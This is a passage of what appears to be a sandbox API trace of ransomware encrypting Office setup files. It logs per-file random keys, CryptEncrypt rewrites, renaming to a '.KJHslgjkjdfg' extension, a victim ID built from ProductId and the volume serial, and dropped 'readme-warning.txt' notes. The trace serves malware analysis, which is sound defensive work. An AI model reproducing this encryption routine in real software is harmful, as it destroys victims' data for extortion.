lpOverlapped=0x0) returned 1 [0164.236] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.236] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.236] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.236] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.236] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.236] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.236] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.237] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x333, lpOverlapped=0x0) returned 1 [0164.237] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x340, dwBufLen=0x340 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x340) returned 1 [0164.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.237] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x340, lpOverlapped=0x0) returned 1 [0164.237] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.237] SetEndOfFile (hFile=0x114) returned 1 [0164.239] GetProcessHeap () returned 0x990000 [0164.239] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.239] GetProcessHeap () returned 0x990000 [0164.239] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.kjhslgjkjdfg")) returned 1 [0164.240] CloseHandle (hObject=0x114) returned 1 [0164.240] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.245] GetProcessHeap () returned 0x990000 [0164.245] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.245] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.245] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.245] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.245] GetProcessHeap () returned 0x990000 [0164.245] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.245] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.245] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.245] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.247] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.247] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.247] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.248] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.248] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.248] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0xa40, lpOverlapped=0x0) returned 1 [0164.248] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xa40, dwBufLen=0xa40 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0xa40) returned 1 [0164.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.248] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0xa40, lpOverlapped=0x0) returned 1 [0164.248] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.248] SetEndOfFile (hFile=0x114) returned 1 [0164.250] GetProcessHeap () returned 0x990000 [0164.250] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.250] GetProcessHeap () returned 0x990000 [0164.251] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.251] CloseHandle (hObject=0x114) returned 1 [0164.252] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.252] GetProcessHeap () returned 0x990000 [0164.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.252] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.252] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.252] GetProcessHeap () returned 0x990000 [0164.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.252] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.252] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.252] GetProcessHeap () returned 0x990000 [0164.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f5760 [0164.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.252] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f5760, pdwDataLen=0x29deb98 | out: pbData=0x9f5760, pdwDataLen=0x29deb98) returned 1 [0164.252] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.252] GetProcessHeap () returned 0x990000 [0164.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.253] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.253] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.253] GetProcessHeap () returned 0x990000 [0164.253] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.253] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.253] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.253] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.253] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.253] RegCloseKey (hKey=0x114) returned 0x0 [0164.253] GetProcessHeap () returned 0x990000 [0164.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.253] GetProcessHeap () returned 0x990000 [0164.253] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.253] GetProcessHeap () returned 0x990000 [0164.253] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.253] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.253] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.254] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.254] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.254] GetProcessHeap () returned 0x990000 [0164.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.254] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.254] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.254] GetProcessHeap () returned 0x990000 [0164.254] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f5b28 [0164.254] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\readme-warning.txt") returned 111 [0164.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.256] WriteFile (in: hFile=0x114, lpBuffer=0x9f5b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f5b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.258] CloseHandle (hObject=0x114) returned 1 [0164.258] GetProcessHeap () returned 0x990000 [0164.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f5760 | out: hHeap=0x990000) returned 1 [0164.258] GetProcessHeap () returned 0x990000 [0164.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f5b28 | out: hHeap=0x990000) returned 1 [0164.258] GetProcessHeap () returned 0x990000 [0164.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.258] GetProcessHeap () returned 0x990000 [0164.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.258] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.259] GetProcessHeap () returned 0x990000 [0164.259] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.259] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0164.259] GetProcessHeap () returned 0x990000 [0164.259] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc8) returned 0x9b2468 [0164.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.259] GetProcessHeap () returned 0x990000 [0164.259] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.259] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.259] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0164.259] GetProcessHeap () returned 0x990000 [0164.259] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2ca) returned 0x9b7e10 [0164.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.260] GetProcessHeap () returned 0x990000 [0164.260] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.260] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.260] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.260] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x3, lpOverlapped=0x0) returned 1 [0164.261] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.261] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.261] GetProcessHeap () returned 0x990000 [0164.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.262] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.262] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.262] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.262] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.262] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.262] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.262] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.262] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.262] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.263] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x61d, lpOverlapped=0x0) returned 1 [0164.263] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x620, dwBufLen=0x620 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x620) returned 1 [0164.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.263] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x620, lpOverlapped=0x0) returned 1 [0164.263] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.263] SetEndOfFile (hFile=0x114) returned 1 [0164.265] GetProcessHeap () returned 0x990000 [0164.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.265] GetProcessHeap () returned 0x990000 [0164.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.265] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.kjhslgjkjdfg")) returned 1 [0164.272] CloseHandle (hObject=0x114) returned 1 [0164.272] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, 